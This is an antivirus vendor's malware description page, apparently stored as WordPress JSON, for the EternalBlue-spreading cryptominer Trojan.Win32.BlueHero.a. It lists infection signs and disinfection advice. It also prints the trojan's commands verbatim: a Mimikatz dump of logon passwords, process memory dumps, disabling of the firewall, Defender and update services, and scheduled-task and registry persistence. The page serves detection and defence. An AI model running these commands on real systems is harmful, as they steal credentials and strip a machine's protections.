{"id":192,"date":"2020-11-22T12:08:05","date_gmt":"2020-11-22T12:08:05","guid":{"rendered":"https:\/\/threats.amnpardaz.com\/en\/?p=192"},"modified":"2023-02-07T07:54:25","modified_gmt":"2023-02-07T07:54:25","slug":"trojan-win32-bluehero","status":"publish","type":"post","link":"https:\/\/threats.amnpardaz.com\/en\/2020\/11\/22\/trojan-win32-bluehero\/","title":{"rendered":"Trojan.Win32.BlueHero.a"},"content":{"rendered":"<h2>General Explanation<\/h2>\n<p><strong>Type:<\/strong> Trojan<\/p>\n<p><strong>Degree of destruction:<\/strong> high<\/p>\n<p><strong>Prevalence<\/strong>: average<\/p>\n<p><strong>using vulnerability:<\/strong> EternalBlue<\/p>\n<h3>What is a Trojan?<\/h3>\n<p>Trojans are a type of malware that reveal themselves as legal and healthy software and act exactly like useful and functional software, but when you run them, they will cause so much damage to your system. Downloaded software from the web, embedding in the HTML text, attaching to email, etc are types of ways that Trojans use to enter the system. Trojans against viruses and worms are not reproducible.<\/p>\n<h3>What is BlueHero malware?<\/h3>\n<p>This malware uses a vulnerability named EternalBlue to release itself. The ultimate goal of this malware is to extract cryptocurrency and spying the user&#8217;s system. Malware attempt to extract cryptocurrency by using the victim&#8217;s system CPU.<\/p>\n<h2>Technical Explanation<\/h2>\n<h3>Signs of infection<\/h3>\n<ul>\n<li>\u00a0The main file of the malware exists in the following paths with random names:\n<ul>\n<li><code>%Windir%\\ [Random]<\/code><\/li>\n<li><code>%Windir%\\Fonts<\/code><\/li>\n<\/ul>\n<\/li>\n<li>The mine file of the malware is in the following path with the name of [Random].exe\n<ul>\n<li><code>%Windir%\\Temp\\ [Random]<\/code><\/li>\n<\/ul>\n<\/li>\n<li>A type of Sisco malware is in the following path with a random name:\n<ul>\n<li><code>%Windir%\\syswow64<\/code><\/li>\n<li><code>%Windir%\\system32<\/code><\/li>\n<\/ul>\n<\/li>\n<li>File maintenance in the following registry path in the\u00a0Windir%\\Fonts\u00a0<span style=\"float: none;background-color: #ffffff;color: #333333;font-family: Georgia,'Times New Roman','Bitstream Charter',Times,serif;font-size: 16px;font-style: normal;font-variant: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-decoration: none;text-indent: 0px\">%<\/span> path:\n<ul>\n<li><code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run<\/code><\/li>\n<\/ul>\n<\/li>\n<li>A ScheduledTask for existence file in\u00a0Windir%\\Fonts\u00a0% path with the random name<\/li>\n<li>Creating two services with random names one is for Sisco&#8217;s malware and the other is for the existing file in the Windir%\\%[Random].<\/li>\n<li>In the case of infection, all mentioned files are running and it is notable that the miner process of the malware, is a sub-set of the Spoolsv.exe (a systematic process) executed.<\/li>\n<\/ul>\n<h3>Function explanation<\/h3>\n<p>Malware by running the main file initiates to the creation and execute the mentioned files. Then, it will execute commands on the victim&#8217;s system. These commands are as follows:<\/p>\n<ul>\n<li>Deletion of all system communication policies with the following instruction:\n<ul>\n<li>netsh IPSec static delete all<\/li>\n<\/ul>\n<\/li>\n<li>Adding its desired communication policies (IPsec) by using the following instruction:\n<ul>\n<li>netsh IPSec static add policy name=[Malware\u2019s ipsec] description=[ Malware\u2019s ipsec]<\/li>\n<\/ul>\n<\/li>\n<li>Creating a ScheduledTask for one of its versions in the Fonts folder, by using the following instructions:\n<ul>\n<li>cmd \/c echo Y|schtasks \/create \/sc minute \/mo 1 \/tn \u201castbpvetc\u201d \/ru system \/tr \u201ccmd \/c %Windir%\\Fonts\\abapbsi.exe\u201d<\/li>\n<\/ul>\n<\/li>\n<li>This malware also uses Mimikatz to attain the user&#8217;s system information. This program is built with the name of exe in the\u00a0Windir%\\[Random]\\Corporate <span style=\"float: none;background-color: #ffffff;color: #333333;font-family: Georgia,'Times New Roman','Bitstream Charter',Times,serif;font-size: 16px;font-style: normal;font-variant: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-decoration: none;text-indent: 0px\">% path which executed the following instruction and its output will be added to the log.txt file.\u00a0<\/span>\n<ul>\n<li>cmd \/c %Windir%\\[Random]\\Corporate\\vfshost.exe privilege::debug sekurlsa::logonpasswords exit &gt;&gt; %Windir%\\[Random]\\Corporate\\log.txt<\/li>\n<\/ul>\n<\/li>\n<li>Deactivating Firewall for Private, Domain, and Public users:\n<ul>\n<li>cmd \/c netsh firewall set opmode mode=disable<\/li>\n<li>cmd \/c netsh Advfirewall set allprofiles state off<\/li>\n<\/ul>\n<\/li>\n<li>Deactivating Internet Connection Sharing (ICS) service and disabling its restart:\n<ul>\n<li>cmd \/c net stop SharedAccess<\/li>\n<li>cmd \/c sc config SharedAccess start= disabled<\/li>\n<\/ul>\n<\/li>\n<li>Deactivating Firewall service and disabling its restart:\n<ul>\n<li>cmd \/c net stop MpsSvc<\/li>\n<li>cmd \/c sc config MpsSvc start= disabled<\/li>\n<\/ul>\n<\/li>\n<li>Deactivating WindowsDefender service and disabling its restart:\n<ul>\n<li>cmd \/c net stop WinDefend<\/li>\n<li>cmd \/c sc config WinDefend start= disabled<\/li>\n<\/ul>\n<\/li>\n<li>Deactivating the Windows update service and disabling its restart:\n<ul>\n<li>cmd \/c net stop wuauserv<\/li>\n<li>cmd \/c sc config wuauserv start= disabled<\/li>\n<\/ul>\n<\/li>\n<li>Receiving Dump from all system processes and storing them all in the format of [ProcessId].dml by using the following instruction:\n<ul>\n<li>%Windir%\\TEMP\\[Random] \\stellulag.exe -accepteula -mp 1536 %Windir%\\TEMP\\[Random] \\1536.dmp<\/li>\n<\/ul>\n<\/li>\n<li>Denial of all users to access hosts files, by the following instruction:\n<ul>\n<li>cmd \/c echo Y|cacls %Windir%\\system32\\drivers\\etc\\hosts \/T \/D users &amp; echo Y|cacls %Windir%\\system32\\drivers\\etc\\hosts \/T \/D administrators &amp; echo Y|cacls %Windir%\\system32\\drivers\\etc\\hosts \/T \/D SYSTEM<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><strong>The main file of the malware is also causing the following changes in the system:<\/strong><\/p>\n<ul>\n<li>Changing the value of some default files for some extensions to txtfile in registry path\u00a0<span style=\"float: none;background-color: #ffffff;color: #333333;cursor: text;font-family: Georgia,'Times New Roman','Bitstream Charter',Times,serif;font-size: 16px;font-style: normal;font-variant: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-decoration: none;text-indent: 0px\">HKEY_CLASSES_ROOT<\/span> cause to consider these types of files as text files and will interfere with their function. These types included the following types:\n<ul>\n<li>.bat<\/li>\n<li>.cmd<\/li>\n<li>.js<\/li>\n<li>.vbs<\/li>\n<li>.VBE<\/li>\n<li>.reg<\/li>\n<li>.ps1<\/li>\n<\/ul>\n<\/li>\n<li>Creating a filter among system communication policies. This filter can be seen in the following registry path:\n<ul>\n<li><code>HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSec\\Policy\\Local<\/code><\/li>\n<\/ul>\n<\/li>\n<li>Defining the value of a Debugger in the registry for a series of systemic software results in the user cannot use them. This value defines in the following registry path:\n<ul>\n<li><code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><strong>The systemic software which will plague the above actions are as follows:<\/strong><\/p>\n<ul>\n<li>at.exe<\/li>\n<li>bitsadmin.exe<\/li>\n<li>cacls.exe<\/li>\n<li>certutil.exe<\/li>\n<li>cscript.exe<\/li>\n<li>icacls.exe<\/li>\n<li>magnify.exe<\/li>\n<li>mshta.exe<\/li>\n<li>netsh.exe<\/li>\n<li>perfmon.exe<\/li>\n<li>powershell.exe<\/li>\n<li>reg.exe<\/li>\n<li>regini.exe<\/li>\n<li>Regsvr32.exe<\/li>\n<li>rundll32.exe<\/li>\n<li>schtasks.exe<\/li>\n<li>sethc.exe<\/li>\n<li>takeown.exe<\/li>\n<li>taskkill.exe<\/li>\n<li>WinSAT.exe<\/li>\n<li>WmiPrvSE.exe<\/li>\n<li>wscript.exe<\/li>\n<\/ul>\n<h2>How to deal with it and disinfect it<\/h2>\n<p dir=\"ltr\"><a href=\"https:\/\/padvish.com\/en-us\/Main\" target=\"_blank\" rel=\"noopener\">Padvish Antivirus<\/a> will detect this malware and remove it from the system. To prevent possible infections by malware that uses EternalBlue vulnerability, it is recommended to use the security patch of Microsoft ms17-010. The IPS section of Padvish antivirus will detect these kinds of vulnerabilities and prevent them from entering the system.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>General Explanation Type: Trojan Degree of destruction: high Prevalence: average using vulnerability: EternalBlue What is a Trojan? Trojans are a type of malware that reveal themselves as legal and healthy software and act exactly like useful and functional software, but when you run them, they will cause so much damage to your system. Downloaded software&hellip;<\/p>\n","protected":false},"author":16,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-192","post","type-post","status-publish","format-standard","hentry","category-trojan"],"_links":{"self":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/192","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/comments?post=192"}],"version-history":[{"count":9,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/192\/revisions"}],"predecessor-version":[{"id":1247,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/192\/revisions\/1247"}],"wp:attachment":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/media?parent=192"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/categories?post=192"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/tags?post=192"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}